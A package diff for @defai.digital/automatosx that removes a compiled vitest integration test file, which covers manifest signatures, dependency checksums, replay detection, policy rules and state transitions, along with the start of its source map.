@defai.digital/automatosx 8.0.19 → 8.0.21

package/dist/__tests__/runtime/integration.test.js

@@ -1,278 +0,0 @@
-import { describe, expect, it, beforeEach } from 'vitest';
-import * as ManifestValidator from '../../../packages/rescript-core/src/security/ManifestValidator.bs.js';
-import * as DependencyValidator from '../../../packages/rescript-core/src/security/DependencyValidator.bs.js';
-import * as EventAuth from '../../../packages/rescript-core/src/security/EventAuth.bs.js';
-import * as RuleEngine from '../../../packages/rescript-core/src/rules/RuleEngine.bs.js';
-import * as PolicyDSL from '../../../packages/rescript-core/src/rules/PolicyDSL.bs.js';
-import * as StateMachine from '../../../packages/rescript-core/src/runtime/StateMachine.bs.js';
-import { runtimeStates, runtimeEvents } from './runtimeTestUtils';
-import { generateSha256Checksum, createDeterministicUuidGenerator } from './securityTestUtils';
-// Sprint 1 Day 5: Integration Tests
-// Complete Security + Runtime Flows
-describe('Integration - Manifest Validation → Dependency Checks → Rule Evaluation', () => {
-    it('validates manifest, checks dependencies, and evaluates rules for secure task submission', () => {
-        // Step 1: Validate manifest with signature
-        const secretKey = 'integration-secret-key';
-        const manifest = ManifestValidator.createManifest('integration-task-001', '1.0.0', ['dep-a', 'dep-b'], undefined, 'valid-signature', undefined);
-        const hmacVerifier = (_canonical, _key, sig) => sig === 'valid-signature';
-        const manifestResult = ManifestValidator.validateManifest(manifest, secretKey, hmacVerifier);
-        expect(manifestResult.TAG).toBe('Ok');
-        // Step 2: Validate dependencies with checksums
-        const checksumA = generateSha256Checksum('dep-a-content');
-        const checksumB = generateSha256Checksum('dep-b-content');
-        const depA = DependencyValidator.createDependency('dep-a', '1.0.0', checksumA, undefined);
-        const depB = DependencyValidator.createDependency('dep-b', '2.0.0', checksumB, undefined);
-        const checksumVerifier = (actual, expected) => actual === expected;
-        const depAResult = DependencyValidator.verifyChecksum(depA, checksumA, checksumVerifier);
-        const depBResult = DependencyValidator.verifyChecksum(depB, checksumB, checksumVerifier);
-        expect(DependencyValidator.isChecksumValid(depAResult)).toBe(true);
-        expect(DependencyValidator.isChecksumValid(depBResult)).toBe(true);
-        // Step 3: Evaluate rules
-        const rule = PolicyDSL.createPolicyRule('secure-submission-rule', [PolicyDSL.stateIsCondition('IDLE')], PolicyDSL.allowAction());
-        const policy = PolicyDSL.createPolicy('secure-policy', '1.0.0', 'Secure submission policy', [rule]);
-        const context = RuleEngine.createExecutionContext(runtimeStates.idle, runtimeEvents.dependenciesReady, undefined, policy, undefined);
-        const outcome = RuleEngine.execute(context);
-        expect(RuleEngine.isPassed(outcome.result)).toBe(true);
-    });
-    it('rejects tampered manifest signature in integration flow', () => {
-        const secretKey = 'integration-secret-key';
-        const manifest = ManifestValidator.createManifest('tampered-task', '1.0.0', ['dep-a'], undefined, 'tampered-signature', undefined);
-        const hmacVerifier = (_canonical, _key, sig) => sig === 'valid-signature';
-        const manifestResult = ManifestValidator.validateManifest(manifest, secretKey, hmacVerifier);
-        expect(manifestResult.TAG).toBe('Error');
-        expect(manifestResult._0).toContain('Signature verification failed');
-    });
-    it('rejects tampered dependency checksum in integration flow', () => {
-        const checksumA = generateSha256Checksum('expected-content');
-        const tamperedChecksum = generateSha256Checksum('tampered-content');
-        const dep = DependencyValidator.createDependency('dep-a', '1.0.0', checksumA, undefined);
-        const checksumVerifier = (actual, expected) => actual === expected;
-        const result = DependencyValidator.verifyChecksum(dep, tamperedChecksum, checksumVerifier);
-        expect(DependencyValidator.isChecksumValid(result)).toBe(false);
-        expect(DependencyValidator.checksumResultToString(result)).toContain('ChecksumMismatch');
-    });
-    it('blocks rule violation in integration flow', () => {
-        const rule = PolicyDSL.createPolicyRule('block-executing-rule', [PolicyDSL.stateIsCondition('EXECUTING')], PolicyDSL.denyAction('cannot submit task while executing'));
-        const policy = PolicyDSL.createPolicy('blocking-policy', '1.0.0', 'Block policy', [rule]);
-        const context = RuleEngine.createExecutionContext(runtimeStates.executing, runtimeEvents.dependenciesReady, undefined, policy, undefined);
-        const outcome = RuleEngine.execute(context);
-        expect(RuleEngine.isFailed(outcome.result)).toBe(true);
-        expect(outcome.reason).toContain('cannot submit task while executing');
-    });
-    it('validates config bundle with all dependencies and signature', () => {
-        const secretKey = 'bundle-key';
-        const checksumA = generateSha256Checksum('dep-a-content');
-        const checksumB = generateSha256Checksum('dep-b-content');
-        const depA = DependencyValidator.createDependency('dep-a', '1.0.0', checksumA, undefined);
-        const depB = DependencyValidator.createDependency('dep-b', '2.0.0', checksumB, undefined);
-        const bundle = DependencyValidator.createConfigBundle('integration-bundle', '1.0.0', [depA, depB], 'valid-bundle-sig', undefined);
-        const bundleSignatureVerifier = (_canonical, _key, sig) => {
-            return sig === 'valid-bundle-sig';
-        };
-        const checksumVerifier = (actual, expected) => actual === expected;
-        const getActualChecksum = (depName) => {
-            if (depName === 'dep-a')
-                return checksumA;
-            if (depName === 'dep-b')
-                return checksumB;
-            return '';
-        };
-        const result = DependencyValidator.validateConfigBundle(bundle, secretKey, getActualChecksum, checksumVerifier, bundleSignatureVerifier);
-        expect(result.TAG).toBe('Ok');
-    });
-});
-describe('Integration - Event Authentication → Replay Detection → State Transitions', () => {
-    let nonceState;
-    beforeEach(() => {
-        nonceState = EventAuth.createNonceState(undefined);
-    });
-    it('authenticates event and transitions state machine', () => {
-        const uuidGen = createDeterministicUuidGenerator('integration');
-        const event = runtimeEvents.dependenciesReady;
-        // Authenticate event
-        const authEvent = EventAuth.authenticateEvent(event, 1, uuidGen);
-        const verifyResult = EventAuth.verifyEvent(authEvent, nonceState);
-        expect(verifyResult.TAG).toBe('Ok');
-        // Transition state machine
-        const context = StateMachine.makeContext(true, // dependenciesReady
-        undefined, undefined, undefined, undefined);
-        const outcome = StateMachine.transition(runtimeStates.preparing, runtimeEvents.dependenciesReady, context);
-        expect(outcome.status).toBe('Transitioned');
-        expect(outcome.toState).toBe('Executing');
-    });
-    it('detects replay attack and prevents state transition', () => {
-        const uuidGen = createDeterministicUuidGenerator('replay-attack');
-        const event = runtimeEvents.dependenciesReady;
-        // First submission - should succeed
-        const authEvent1 = EventAuth.authenticateEvent(event, 1, uuidGen);
-        const verifyResult1 = EventAuth.verifyEvent(authEvent1, nonceState);
-        expect(verifyResult1.TAG).toBe('Ok');
-        // Replay attack - same nonce
-        const authEvent2 = EventAuth.authenticateEvent(event, 1, uuidGen);
-        const verifyResult2 = EventAuth.verifyEvent(authEvent2, nonceState);
-        expect(verifyResult2.TAG).toBe('Error');
-        expect(verifyResult2._0).toContain('Replay attack detected');
-    });
-    it('processes multiple authenticated events with increasing nonces', () => {
-        const uuidGen = createDeterministicUuidGenerator('multi-event');
-        for (let i = 1; i <= 5; i++) {
-            const event = runtimeEvents.dependenciesReady;
-            const authEvent = EventAuth.authenticateEvent(event, i, uuidGen);
-            const result = EventAuth.verifyEvent(authEvent, nonceState);
-            expect(result.TAG).toBe('Ok');
-            expect(EventAuth.getLastNonce(nonceState)).toBe(i);
-        }
-        expect(EventAuth.getNonceHistoryCount(nonceState)).toBe(5);
-    });
-    it('attaches trace context to all events for telemetry', () => {
-        const uuidGen = createDeterministicUuidGenerator('telemetry');
-        const events = [
-            runtimeEvents.dependenciesReady,
-            runtimeEvents.retryTrigger,
-            runtimeEvents.telemetryFlushed,
-        ];
-        const authEvents = events.map((event, idx) => EventAuth.authenticateEvent(event, idx + 1, uuidGen));
-        authEvents.forEach(authEvent => {
-            expect(authEvent.traceContext.traceId).toBeDefined();
-            expect(authEvent.traceContext.spanId).toBeDefined();
-            expect(authEvent.traceContext.timestamp).toBeGreaterThan(0);
-        });
-        // Verify all trace IDs are unique
-        const traceIds = authEvents.map(ae => ae.traceContext.traceId);
-        const uniqueTraceIds = new Set(traceIds);
-        expect(uniqueTraceIds.size).toBe(traceIds.length);
-    });
-    it('combines event authentication with rule evaluation', () => {
-        const uuidGen = createDeterministicUuidGenerator('auth-rules');
-        const event = runtimeEvents.dependenciesReady;
-        // Authenticate event
-        const authEvent = EventAuth.authenticateEvent(event, 1, uuidGen);
-        const verifyResult = EventAuth.verifyEvent(authEvent, nonceState);
-        expect(verifyResult.TAG).toBe('Ok');
-        // Evaluate rules on authenticated event
-        const rule = PolicyDSL.createPolicyRule('auth-rule', [PolicyDSL.eventIsCondition('DEPS_READY')], PolicyDSL.allowAction());
-        const policy = PolicyDSL.createPolicy('auth-policy', '1.0.0', 'Auth policy', [rule]);
-        const context = RuleEngine.createExecutionContext(runtimeStates.preparing, authEvent.event, undefined, policy, undefined);
-        const outcome = RuleEngine.execute(context);
-        expect(RuleEngine.isPassed(outcome.result)).toBe(true);
-    });
-});
-describe('Integration - Complete Secure Task Flow', () => {
-    it('executes complete secure task submission flow', () => {
-        const secretKey = 'flow-secret';
-        const uuidGen = createDeterministicUuidGenerator('complete-flow');
-        const nonceState = EventAuth.createNonceState(undefined);
-        // 1. Validate manifest
-        const manifest = ManifestValidator.createManifest('complete-flow-task', '1.0.0', ['dep-x', 'dep-y'], undefined, 'valid-signature', undefined);
-        const hmacVerifier = (_canonical, _key, sig) => sig === 'valid-signature';
-        const manifestResult = ManifestValidator.validateManifest(manifest, secretKey, hmacVerifier);
-        expect(manifestResult.TAG).toBe('Ok');
-        // 2. Validate dependencies
-        const checksumX = generateSha256Checksum('dep-x-content');
-        const depX = DependencyValidator.createDependency('dep-x', '1.0.0', checksumX, undefined);
-        const checksumVerifier = (actual, expected) => actual === expected;
-        const depResult = DependencyValidator.verifyChecksum(depX, checksumX, checksumVerifier);
-        expect(DependencyValidator.isChecksumValid(depResult)).toBe(true);
-        // 3. Authenticate event
-        const event = runtimeEvents.dependenciesReady;
-        const authEvent = EventAuth.authenticateEvent(event, 1, uuidGen);
-        const authResult = EventAuth.verifyEvent(authEvent, nonceState);
-        expect(authResult.TAG).toBe('Ok');
-        // 4. Evaluate rules
-        const rule = PolicyDSL.createPolicyRule('flow-rule', [PolicyDSL.stateIsCondition('IDLE')], PolicyDSL.allowAction());
-        const policy = PolicyDSL.createPolicy('flow-policy', '1.0.0', 'Complete flow policy', [rule]);
-        const ruleContext = RuleEngine.createExecutionContext(runtimeStates.idle, authEvent.event, undefined, policy, undefined);
-        const ruleOutcome = RuleEngine.execute(ruleContext);
-        expect(RuleEngine.isPassed(ruleOutcome.result)).toBe(true);
-        // 5. Transition state machine
-        const smContext = StateMachine.makeContext(undefined, undefined, undefined, undefined, undefined);
-        const taskSubmittedEvent = runtimeEvents.taskSubmitted({
-            taskId: 'complete-flow-task',
-            manifestVersion: '1.0.0',
-        });
-        const smOutcome = StateMachine.transition(runtimeStates.idle, taskSubmittedEvent, smContext);
-        expect(smOutcome.status).toBe('Transitioned');
-        expect(smOutcome.toState).toBe('Preparing');
-    });
-    it('rejects insecure task submission at manifest validation stage', () => {
-        const secretKey = 'security-key';
-        // Invalid manifest - missing signature
-        const manifest = ManifestValidator.createManifest('insecure-task', '1.0.0', ['dep-a'], undefined, undefined, undefined);
-        const hmacVerifier = () => true;
-        const manifestResult = ManifestValidator.validateManifest(manifest, secretKey, hmacVerifier);
-        expect(manifestResult.TAG).toBe('Error');
-        expect(manifestResult._0).toContain('missing signature');
-    });
-    it('rejects insecure task submission at dependency validation stage', () => {
-        const secretKey = 'security-key';
-        // Valid manifest
-        const manifest = ManifestValidator.createManifest('task-with-bad-deps', '1.0.0', ['dep-a'], undefined, 'valid-signature', undefined);
-        const hmacVerifier = (_canonical, _key, sig) => sig === 'valid-signature';
-        const manifestResult = ManifestValidator.validateManifest(manifest, secretKey, hmacVerifier);
-        expect(manifestResult.TAG).toBe('Ok');
-        // Invalid dependency - missing checksum
-        const dep = DependencyValidator.createDependency('dep-a', '1.0.0', undefined, undefined);
-        const checksumVerifier = () => true;
-        const depResult = DependencyValidator.verifyChecksum(dep, 'some-checksum', checksumVerifier);
-        expect(DependencyValidator.isChecksumValid(depResult)).toBe(false);
-    });
-    it('rejects insecure task submission at event authentication stage', () => {
-        const nonceState = EventAuth.createNonceState(undefined);
-        const uuidGen = createDeterministicUuidGenerator('auth-fail');
-        // Process nonce 5
-        const event1 = runtimeEvents.dependenciesReady;
-        const authEvent1 = EventAuth.authenticateEvent(event1, 5, uuidGen);
-        EventAuth.verifyEvent(authEvent1, nonceState);
-        // Try to use nonce 3 (non-monotonic)
-        const event2 = runtimeEvents.dependenciesReady;
-        const authEvent2 = EventAuth.authenticateEvent(event2, 3, uuidGen);
-        const authResult = EventAuth.verifyEvent(authEvent2, nonceState);
-        expect(authResult.TAG).toBe('Error');
-        expect(authResult._0).toContain('Invalid nonce');
-    });
-    it('rejects insecure task submission at rule evaluation stage', () => {
-        const uuidGen = createDeterministicUuidGenerator('rule-fail');
-        const nonceState = EventAuth.createNonceState(undefined);
-        // Authenticate event successfully
-        const event = runtimeEvents.dependenciesReady;
-        const authEvent = EventAuth.authenticateEvent(event, 1, uuidGen);
-        const authResult = EventAuth.verifyEvent(authEvent, nonceState);
-        expect(authResult.TAG).toBe('Ok');
-        // Block via rule
-        const rule = PolicyDSL.createPolicyRule('block-rule', [PolicyDSL.stateIsCondition('EXECUTING')], PolicyDSL.denyAction('task submission blocked during execution'));
-        const policy = PolicyDSL.createPolicy('block-policy', '1.0.0', 'Blocking policy', [rule]);
-        const context = RuleEngine.createExecutionContext(runtimeStates.executing, authEvent.event, undefined, policy, undefined);
-        const outcome = RuleEngine.execute(context);
-        expect(RuleEngine.isFailed(outcome.result)).toBe(true);
-        expect(outcome.reason).toContain('task submission blocked');
-    });
-    it('tracks telemetry across entire secure flow', () => {
-        const uuidGen = createDeterministicUuidGenerator('telemetry-flow');
-        const nonceState = EventAuth.createNonceState(undefined);
-        const events = [
-            runtimeEvents.dependenciesReady,
-            runtimeEvents.retryTrigger,
-            runtimeEvents.telemetryFlushed,
-        ];
-        const telemetryData = [];
-        events.forEach((event, idx) => {
-            const authEvent = EventAuth.authenticateEvent(event, idx + 1, uuidGen);
-            const authResult = EventAuth.verifyEvent(authEvent, nonceState);
-            expect(authResult.TAG).toBe('Ok');
-            telemetryData.push({
-                traceId: authEvent.traceContext.traceId,
-                spanId: authEvent.traceContext.spanId,
-                nonce: authEvent.nonce,
-                timestamp: authEvent.traceContext.timestamp,
-            });
-        });
-        // Verify telemetry captured for all events
-        expect(telemetryData).toHaveLength(3);
-        telemetryData.forEach((data, idx) => {
-            expect(data.nonce).toBe(idx + 1);
-            expect(data.traceId).toBeDefined();
-            expect(data.spanId).toBeDefined();
-        });
-    });
-});
-//# sourceMappingURL=integration.test.js.map

package/dist/__tests__/runtime/integration.test.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"integration.test.js","sourceRoot":"","sources":["../../../src/__tests__/runtime/integration.test.ts"],"names":[],"mappings":"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